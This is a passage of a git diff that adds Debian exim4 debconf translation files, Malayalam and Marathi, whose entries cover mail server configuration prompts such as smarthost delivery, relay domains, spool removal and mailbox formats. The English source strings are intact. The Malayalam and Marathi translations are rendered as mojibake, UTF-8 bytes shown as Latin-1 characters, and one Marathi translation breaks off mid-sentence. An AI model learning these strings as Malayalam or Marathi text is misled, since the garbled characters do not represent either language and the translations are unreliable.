+"ആവശàµà´¯à´®à´¿à´²àµà´²à´¾à´¤àµà´¤ അനനàµà´¤à´¿à´° ഫലങàµà´™à´³àµà´£àµà´Ÿà´¾à´•àµà´•àµà´‚. ഉദാഹരണതàµà´¤à´¿à´¨àµàµ à´Žà´•àµà´¸à´¿à´‚ à´¤àµà´Ÿà´™àµà´™àµà´¨àµà´¨à´¤àµ‹ à´•àµà´¯àµ‚ "
+"à´ªàµà´°à´µà´°àµâ€à´¤àµà´¤à´¿à´ªàµà´ªà´¿à´¯àµà´•àµà´•àµà´¨àµà´¨à´¤àµ‹ (സനàµà´¦àµ‡à´¶à´™àµà´™à´³àµâ€ കാതàµà´¤à´¿à´°à´¿à´•àµà´•àµà´¨àµà´¨à´¿à´²àµà´²àµ†à´™àµà´•à´¿à´²àµâ€ കൂടി) ഒരൠചിലവേറിയ ഡയലàµâ€-അപൠ"
+"à´ªàµà´°à´µàµƒà´¤àµà´¤à´¿ à´¤àµà´Ÿà´™àµà´™à´¾à´¨àµâ€ കാരണമായേകàµà´•à´¾à´‚."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"à´ˆ സിസàµà´±àµà´±à´‚ ഡയലàµâ€-à´“à´£àµâ€-ഡിമാനàµâ€à´¡àµ ഉപയോഗികàµà´•àµà´¨àµà´¨àµà´£àµà´Ÿàµ†à´™àµà´•à´¿à´²àµâ€ à´ˆ à´à´šàµà´›à´¿à´•à´‚ തെരഞàµà´žàµ†à´Ÿàµà´•àµà´•àµ‡à´£àµà´Ÿà´¤à´¾à´£àµàµ. ഇതിനàµàµ "
+"à´Žà´ªàµà´ªàµ‹à´´àµà´‚ ബനàµà´§à´¿à´šàµà´šà´¿à´Ÿàµà´Ÿàµà´³àµà´³ ഇനàµà´±à´°àµâ€à´¨àµ†à´±àµà´±àµ സമീപനമàµà´£àµà´Ÿàµ†à´™àµà´•à´¿à´²àµâ€ à´ˆ à´à´šàµà´›à´¿à´•à´‚ à´ªàµà´°à´¾à´µà´°àµâ€à´¤àµà´¤à´¿à´•à´®à´²àµà´²à´¾à´¤à´¾à´•àµà´•àµ‡à´£àµà´Ÿà´¤à´¾à´£àµàµ."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "തപാലàµâ€ സേവക à´•àµà´°à´®àµ€à´•à´°à´£à´‚"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "à´•àµà´°à´®àµ€à´•à´°à´£à´¤àµà´¤àµ† ചെറിയ ഫയലàµà´•à´³à´¾à´•àµà´•à´¿ à´®àµà´±à´¿à´¯àµà´•àµà´•à´£àµ‹?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"ഡെബിയനàµâ€ à´Žà´•àµà´¸à´¿à´‚4 പാകàµà´•àµ‡à´œàµà´•à´³àµâ€à´•àµà´•àµàµ \"വിഭജിയàµà´•àµà´•à´¾à´¤àµà´¤ à´•àµà´°à´®àµ€à´•à´°à´£à´‚\", à´’à´±àµà´± à´à´•à´¶à´¿à´²à´¾à´¸àµà´¤à´‚à´­ ഫയലàµâ€ (/etc/"
+"exim4/exim4.conf.template) à´…à´²àµà´²àµ†à´™àµà´•à´¿à´²àµâ€ ശരികàµà´•àµà´³àµà´³ à´Žà´•àµà´¸à´¿à´‚ à´•àµà´°à´®àµ€à´•à´°à´£ ഫയലàµà´•à´³àµâ€ /etc/exim4/"
+"conf.d/ യിലàµà´³àµà´³ à´à´•à´¦àµ‡à´¶à´‚ 50 ഓളം വരàµà´¨àµà´¨ ചെറിയ ഫയലàµà´•à´³à´¿à´²àµâ€ നിനàµà´¨àµà´‚ ഉണàµà´Ÿà´¾à´•àµà´•à´¿à´¯àµ†à´Ÿàµà´•àµà´•àµà´¨àµà´¨ "
+"\"വിഭജിചàµà´š à´•àµà´°à´®àµ€à´•à´°à´£à´‚\" à´Žà´¨àµà´¨à´¿à´µà´¯à´¿à´²àµ‡à´¤àµ†à´™àµà´•à´¿à´²àµà´®àµà´ªà´¯àµ‹à´—à´¿à´¯àµà´•àµà´•à´¾à´‚."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"വിഭജിയàµà´•àµà´•à´¾à´¤àµà´¤ à´•àµà´°à´®àµ€à´•à´°à´£à´‚ വലിയ മാറàµà´±à´™àµà´™à´³àµâ€à´•àµà´•àµàµ യോജിചàµà´šà´¤àµà´‚ പൊതàµà´µàµ† കൂടàµà´¤à´²àµâ€ à´¸àµà´¥à´¿à´°à´¤à´¯àµà´³àµà´³à´¤àµà´®à´¾à´£àµàµ, à´Žà´¨àµà´¨à´¾à´²àµâ€ "
+"വിഭജിചàµà´š à´•àµà´°à´®àµ€à´•à´°à´£à´‚ ചെറിയ മാറàµà´±à´™àµà´™à´³àµâ€ വരàµà´¤àµà´¤à´¾à´¨àµâ€ സൌകരàµà´¯à´ªàµà´°à´¦à´®à´¾à´¯ ഒരൠവഴി നലàµà´•àµà´¨àµà´¨àµ പകàµà´·àµ‡ ഇതàµàµ വളരെ "
+"നേരàµâ€à´¤àµà´¤à´¤àµà´‚ à´…à´¶àµà´°à´¦àµà´§à´®à´¾à´¯à´¿ മാറàµà´±à´¿à´¯à´¾à´²àµâ€ കേടാവാനàµâ€ സാധàµà´¯à´¤à´¯àµà´³àµà´³à´¤àµà´®à´¾à´£àµàµ."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"വിഭജിചàµà´šà´¤àµà´‚ വിഭജിയàµà´•àµà´•à´¾à´¤àµà´¤à´¤àµà´®à´¾à´¯ à´•àµà´°à´®àµ€à´•à´°à´£à´¤àµà´¤àµ† à´•àµà´±à´¿à´šàµà´šàµàµ കൂടàµà´¤à´²àµâ€ വിശദമായ à´šà´°àµâ€à´šàµà´š /usr/share/doc/"
+"exim4-base à´²àµâ€ കാണാവàµà´¨àµà´¨à´¤à´¾à´£àµàµ."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "à´ªàµà´±à´¤àµà´¤àµ പോകàµà´¨àµà´¨ à´•à´¤àµà´¤à´¿à´²àµâ€ à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´• തപാലàµâ€ നാമം മറചàµà´šàµ വയàµà´•à´£àµ‹?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"à´ªàµà´±à´¤àµà´¤àµ പോകàµà´¨àµà´¨ à´•à´¤àµà´¤à´¿à´²àµ† തലകàµà´•àµ†à´Ÿàµà´Ÿàµà´•à´³àµâ€ വേറൊരൠസിസàµà´±àµà´±à´¤àµà´¤à´¿à´²àµâ€ സൃഷàµà´Ÿà´¿à´šàµà´šà´¤à´¾à´£àµ†à´¨àµà´¨àµàµ തോനàµà´¨àµà´¨àµà´¨ രീതിയിലàµâ€ "
+"മാറàµà´±à´¿à´¯àµ†à´´àµà´¤à´¾à´µàµà´¨àµà´¨à´¤à´¾à´£àµàµ. à´ˆ à´à´šàµà´›à´¿à´•à´‚ തെരഞàµà´žàµ†à´Ÿàµà´•àµà´•àµà´•à´¯à´¾à´£àµ†à´™àµà´•à´¿à´²àµâ€ From, Reply-To, Sender, Return-"
+"Path à´Žà´¨àµà´¨à´¿à´µà´¯à´¿à´²àµâ€ \"${mailname}\", \"localhost\", \"${dc_other_hostnames}\" "
+"à´Žà´¨àµà´¨à´¿à´µ മാറàµà´±à´¿ à´Žà´´àµà´¤àµà´¨àµà´¨à´¤à´¾à´£àµàµ."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "/var/mail/ à´²àµâ€ mbox ഫോരàµâ€à´®à´¾à´±àµà´±à´¿à´²àµâ€"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "തടàµà´Ÿà´•à´¤àµà´¤à´¿à´²àµâ€ Maildir ഫോരàµâ€à´®à´¾à´±àµà´±à´¿à´²àµâ€"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´• à´•à´¤àµà´¤àµà´•à´³àµâ€ à´Žà´¤àµà´¤à´¿à´¯àµà´•àµà´•àµ‡à´£àµà´Ÿ മാരàµâ€à´—à´‚:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"à´Žà´•àµà´¸à´¿à´®à´¿à´¨àµàµ à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´•à´®à´¾à´¯à´¿ à´Žà´¤àµà´¤à´¿à´¯àµà´•àµà´•àµà´¨àµà´¨ മെയിലàµà´•à´³àµâ€ à´µàµà´¯à´¤àµà´¯à´¸àµà´¤ ഫോരàµâ€à´®à´¾à´±àµà´±àµà´•à´³à´¿à´²àµâ€ സൂകàµà´·à´¿à´šàµà´šàµàµ വെയàµà´•àµà´•à´¾à´¨àµâ€ "
+"à´•à´´à´¿à´¯àµà´‚. à´à´±àµà´±à´µàµà´‚ സാധാരണയായി ഉപയോഗികàµà´•àµà´¨àµà´¨à´¤àµàµ mbox ഉം Maildir ഉം ആണàµàµ. mbox /var/mail/ "
+"à´²àµâ€ സൂകàµà´·à´¿à´šàµà´šàµ വചàµà´šà´¿à´Ÿàµà´Ÿàµà´³àµà´³ à´®àµà´´àµà´µà´¨àµâ€ തപാലàµâ€ ഫോളàµâ€à´¡à´±àµà´•à´³àµâ€à´•àµà´•àµà´®à´¾à´¯à´¿ à´’à´±àµà´± ഫയലാണàµàµ ഉപയോഗിയàµà´•àµà´•àµà´¨àµà´¨à´¤àµàµ. Maildir "
+"ഫോരàµâ€à´®à´¾à´±àµà´±à´¿à´²àµâ€ ഓരോ സനàµà´¦àµ‡à´¶à´™àµà´™à´³àµà´‚ ~/Maildir/ à´²àµâ€ à´µàµà´¯à´¤àµà´¯à´¸àµà´¤ ഫയലായിടàµà´Ÿà´¾à´£àµàµ സൂകàµà´·à´¿à´•àµà´•àµà´¨àµà´¨à´¤àµàµ."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"കൂടàµà´¤à´²àµâ€ ഡെബിയനàµâ€ തപാലàµâ€ ടൂളàµà´•à´³àµà´‚ സഹജമായ à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´•à´®à´¾à´¯à´¿ à´•à´¤àµà´¤àµàµ à´Žà´¤àµà´¤à´¿à´•àµà´•à´¾à´¨àµà´³àµà´³ മാരàµâ€à´—മായി mbox "
+"à´ªàµà´°à´¤àµ€à´•àµà´·à´¿à´¯àµà´•àµà´•àµà´¨àµà´¨àµ."
diff --git a/debian/po/mr.po b/debian/po/mr.po
new file mode 100644
index 0000000..24f47b8
--- /dev/null
+++ b/debian/po/mr.po
@@ -0,0 +1,759 @@
+# SOME DESCRIPTIVE TITLE.
+# Copyright (C) 2006
+# This file is distributed under the same license as the PACKAGE package.
+# Priti Patil <prithisd [at] gmail [dot] com>, 2006, janabhaaratii Project (Chief Investigator Dr. Alka Irani), C-DAC, Mumbai
+# First Translator "Sampada Nakhare"
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-07-17 19:48+0530\n"
+"Last-Translator: Priti Patil <prithisd [at] gmail [dot] com> \n"
+"Language-Team: Marathi, janabhaaratii, C-DAC, Mumbai, India\n"
+"Language: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "सà¥à¤ªà¥‚ल निरà¥à¤¦à¥‡à¤¶à¤¿à¤•à¥‡à¤¤à¥€à¤² अजून पोचती न à¤à¤¾à¤²à¥‡à¤²à¥€ पतà¥à¤°à¥‡ काढून टाकायची?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"à¤à¤•à¥à¤à¤¿à¤® निरà¥à¤¦à¥‡à¤¶à¤¿à¤•à¤¾ /वà¥à¤¹à¤¾à¤°/सà¥à¤ªà¥‚ल/à¤à¤•à¥à¤à¤¿à¤®à¥ª/निवेश मधे काही अजून पोचती न à¤à¤¾à¤²à¥‡à¤²à¥€ पतà¥à¤°à¥‡ आहेत. आपण "
+"पà¥à¤¢à¥‡ कधीतरी à¤à¤•à¥à¤à¤¿à¤® परत अधिषà¥à¤ à¤¾à¤ªà¤¨ करणार असलà¥à¤¯à¤¾à¤¸ ही पतà¥à¤°à¥‡ तशीच ठेऊ शकता, किंवा आपण ती "
+"काढून टाकू शकता."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"जर हा परà¥à¤¯à¤¾à¤¯ निवडला नाही, तर सà¥à¤ªà¥‚ल निरà¥à¤¦à¥‡à¤¶à¤¿à¤•à¤¾ ठेवली जाते, जà¥à¤¯à¤¾à¤®à¥à¤³à¥‡ रांगेतील संदेश नंतरचà¥à¤¯à¤¾ "
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "या पॅकेजà¤à¤µà¤œà¥€ à¤à¤•à¤à¤¿à¤®à¥ª-कॉनà¥à¤«à¤¿à¤— ची पà¥à¤¨à¤°à¥à¤°à¤šà¤¨à¤¾ करायची?"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"à¤à¤•à¤à¤¿à¤®à¥ª मधे संरचना à¤à¤• समरà¥à¤ªà¤¿à¤¤ पॅकेज, à¤à¤•à¤à¤¿à¤®à¥ª-कॉनà¥à¤«à¤¿à¤— मधे घटक पाडून केली आहे. à¤à¤•à¤à¤¿à¤®à¥ª "
+"पà¥à¤¨à¤°à¥à¤°à¤šà¤¿à¤¤ करणà¥à¤¯à¤¾à¤•à¤°à¤¿à¤¤à¤¾ 'डिपीकेजी रिकॉनà¥à¤«à¤¿à¤—र à¤à¤•à¤à¤¿à¤®à¥ª-कॉनà¥à¤«à¤¿à¤—' वापरा."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "महाजाल साइट; à¤à¤¸à¤à¤®à¤Ÿà¥€à¤ªà¥€ वापरून टपाल थेट पाठवले व पà¥à¤°à¤¾à¤ªà¥à¤¤ केले जाते"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "टपाल सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿà¤¨à¥‡ पाठवले; à¤à¤¸à¤à¤®à¤Ÿà¥€à¤ªà¥€ वा फेचमेल दà¥à¤µà¤¾à¤°à¤¾ पà¥à¤°à¤¾à¤ªà¥à¤¤ केले"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "टपाल सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿà¤¨à¥‡ पाठवले; सà¥à¤¥à¤¾à¤¨à¤¿à¤• पतà¥à¤° नाही"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "वाटप फकà¥à¤¤ सà¥à¤¥à¤¾à¤¨à¤¿à¤•; नेटवरà¥à¤•à¤µà¤° नाही"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "हà¥à¤¯à¤¾ वेळी विनà¥à¤¯à¤¾à¤¸ नाही"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "सरà¥à¤µà¤¸à¤¾à¤§à¤¾à¤°à¤£ पà¥à¤°à¤•à¤¾à¤°à¤šà¤¾ टपाल विनà¥à¤¯à¤¾à¤¸:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr "आपलà¥à¤¯à¤¾ गरजा चांगलà¥à¤¯à¤¾ पà¥à¤°à¤•à¤¾à¤°à¥‡ पूरà¥à¤£ करणारा विनà¥à¤¯à¤¾à¤¸ पà¥à¤°à¤•à¤¾à¤° निवडा."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"सरà¥à¤µà¤¸à¤¾à¤§à¤¾à¤°à¤£à¤ªà¤£à¥‡ कà¥à¤°à¤¿à¤¯à¤¾à¤¶à¥€à¤² आय पी पतà¥à¤¤à¤¾ असलेलà¥à¤¯à¤¾ पà¥à¤°à¤£à¤¾à¤²à¥€à¤‚ची संरचना, (डायलअप पà¥à¤°à¤£à¤¾à¤²à¥€à¤‚सकट), "
+"बाहेर जाणारे टपाल पोचते करणà¥à¤¯à¤¾à¤¸à¤¾à¤ à¥€ दà¥à¤¸à¤±à¥à¤¯à¤¾ \"सà¥à¤®à¤¾à¤°à¥à¤Ÿ हाॅसà¥à¤Ÿ\" मà¥à¤¹à¤£à¤µà¤£à¤¾à¤±à¥à¤¯à¤¾ मशीनवर "
+"पाठवणà¥à¤¯à¤¾à¤œà¥‹à¤—ी करावी. आपण अशा पà¥à¤°à¤£à¤¾à¤²à¥€à¤‚वर टपाल पà¥à¤°à¤¾à¤ªà¥à¤¤ करणà¥à¤¯à¤¾à¤šà¥‡ निवडू शकता; किंवा मूल व "
+"पोसà¥à¤Ÿà¤®à¤¾à¤¸à¥à¤Ÿà¤°à¤šà¥‡ टपाल सोडता, सà¥à¤¥à¤¾à¤¨à¤¿à¤• टपाल पाठवणे बंद ठेऊ शकता."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"कà¥à¤°à¤¿à¤¯à¤¾à¤¶à¥€à¤² आय पी पतà¥à¤¤à¤¾ असलेली पà¥à¤°à¤£à¤¾à¤²à¥€à¤‚ सà¥à¤µà¤¤à¤ƒà¤šà¥‡ टपाल पà¥à¤°à¤¾à¤ªà¥à¤¤ करू शकते, किंवा सà¥à¤¥à¤¾à¤¨à¤¿à¤• बटवडा "
+"संपूरà¥à¤£à¤ªà¤£à¥‡ कारà¥à¤¯à¤…कà¥à¤·à¤® करता येतो (मूल वा पोषà¥à¤Ÿà¤®à¤¾à¤·à¥à¤Ÿà¤° यांचà¥à¤¯à¤¾ टपालावà¥à¤¯à¤¤à¤¿à¤°à¤¿à¤•à¥à¤¤)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "खरोखरच टपाल पà¥à¤°à¤£à¤¾à¤²à¥€ असंरचित सोडायची?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"आपली टपाल पà¥à¤°à¤£à¤¾à¤²à¥€ संरचित होईपरà¥à¤¯à¤‚त ते मोडलेले राहील, व वापरता येणार नाही. अरà¥à¤¥à¤¾à¤¤à¤š नंतर "
+"à¤à¤•à¤¤à¤° सà¥à¤µà¤¤à¤ƒà¤š, किंवा मूल असताना \"डिपीकेजी-पà¥à¤¨à¤°à¥à¤°à¤šà¤¨à¤¾ à¤à¤•à¥à¤à¤¿à¤®à¥ª-रचना\" चालवून आपण ते संरचित "
+"करॠशकता."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "पà¥à¤°à¤£à¤¾à¤²à¥€ टपाल नाव:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"'टपाल नाव' हे डोमेन नावाशिवायचा टपाल पतà¥à¤¤à¤¾ 'पातà¥à¤° ठरवणà¥à¤¯à¤¾à¤¸à¤¾à¤ à¥€' वापरायचे डोमेन नाव "
+"आहे."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"हे नाव इतर पà¥à¤°à¥‹à¤—à¥à¤°à¤¾à¤® सà¥à¤¦à¥à¤§à¤¾ वापरतील; ते à¤à¤•à¤Ÿà¥‡, संपूरà¥à¤£ डोमेन नाव (à¤à¤«à¤•à¥à¤¯à¥‚डीà¤à¤¨) असले पाहिजे, "
+"जà¥à¤¯à¤¾à¤šà¥à¤¯à¤¾à¤ªà¤¾à¤¸à¥‚न टपालाचा उगम à¤à¤¾à¤²à¥à¤¯à¤¾à¤šà¥‡ भासेल."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"मà¥à¤¹à¤£à¤œà¥‡, जर सà¥à¤¥à¤¾à¤¨à¤¿à¤• यजमानावर टपाल पतà¥à¤¤à¤¾ फू@à¤à¤•à¥à¤à¤¾à¤®à¥à¤ªà¤².ऑरà¥à¤— असेल, तर या परà¥à¤¯à¤¾à¤¯à¤¾à¤šà¥‡ योगà¥à¤¯ मूलà¥à¤¯ "
+"à¤à¤•à¥à¤à¤¾à¤®à¥à¤ªà¤².ऑरà¥à¤— असेल."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"आपण पà¥à¤¨à¤°à¥à¤²à¥‡à¤–न कारà¥à¤¯à¤¸à¤•à¥à¤·à¤® केलà¥à¤¯à¤¾à¤¸ हे नाव बाहेर पाठवलà¥à¤¯à¤¾ जाणाऱà¥à¤¯à¤¾ पतà¥à¤°à¤¾à¤‚मधील कडून: ओळींमधे "
+"दिसणार नाही."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "टपाल सà¥à¤µà¥€à¤•à¤¾à¤°à¤£à¥à¤¯à¤¾à¤¸à¤¾à¤ à¥€à¤šà¥€ इतर अंत-सà¥à¤¥à¤³à¥‡:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"सà¥à¤¥à¤¾à¤¨à¤¿à¤• यजमान-नाव (${à¤à¤«à¤•à¥à¤¯à¥‚डीà¤à¤¨}) आणी \"सà¥à¤¥à¤¾à¤¨à¤¿à¤•à¤¯à¤œà¤®à¤¾à¤¨\" वà¥à¤¯à¤¤à¤¿à¤°à¤¿à¤•à¥à¤¤ या मशीनसाठी अंतिम "
+"अंत-सà¥à¤¥à¤³à¥‡ ठरू शकतील अशा डोमेनसà¥à¤šà¥€ यादी दà¥à¤¯à¤¾."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"मूलतः सरà¥à¤µ डोमेनसà¥à¤¨à¤¾ समान वागणूक दिली जाईल; जर आपलà¥à¤¯à¤¾à¤²à¤¾ वेगवेगळà¥à¤¯à¤¾ डोमेन नावांना वेगवेगळी "
+"वागणूक दà¥à¤¯à¤¾à¤¯à¤šà¥€ असेल, तर तà¥à¤®à¥à¤¹à¤¾à¤²à¤¾ मागाहून विनà¥à¤¯à¤¾à¤¸ फाइल संपादित करावी लागेल."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "टपाल रीले करणà¥à¤¯à¤¾à¤¸à¤¾à¤ à¥€à¤šà¥‡ डोमेनसà¥:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"जà¥à¤¯à¤¾ पà¥à¤°à¤¾à¤ªà¥à¤¤à¤•à¤°à¥à¤¤à¥à¤¯à¤¾ डोमेन करिता ही पà¥à¤°à¤£à¤¾à¤²à¥€ टपाल पाठवणार आहे, उदाहरणारà¥à¤¥, फालबॅक à¤à¤®à¤à¤•à¥à¥Š "
+"किंवा टपाल गेटवे, अशांची अरà¥à¤§à¤µà¤¿à¤°à¤¾à¤®à¤¾à¤¨à¥‡ विलग केलेली यादी दà¥à¤¯à¤¾. याचा अरà¥à¤¥ असा की ही "
+"पà¥à¤°à¤£à¤¾à¤²à¥€ या डोमेनकरिता महाजालावरून कोठà¥à¤¨à¤¹à¥€ टपालाचा सà¥à¤µà¤¿à¤•à¤¾à¤° करेल व सà¥à¤¥à¤¾à¤¨à¤¿à¤• वितरण "
+"नियमांनà¥à¤¸à¤¾à¤° तà¥à¤¯à¤¾à¤‚चे वितरण करेल."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "इथे सà¥à¤¥à¤¾à¤¨à¤¿à¤• डोमेनचा उलà¥à¤²à¥‡à¤– करू नका. वाइलà¥à¤¡à¤•à¤¾à¤°à¥à¤¡à¤¾à¤‚चा वापर करता येइल."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "टपाल रीले करणà¥à¤¯à¤¾à¤¸à¤¾à¤ à¥€à¤šà¥€ मशीनसà¥:"
+
+#. Type: string
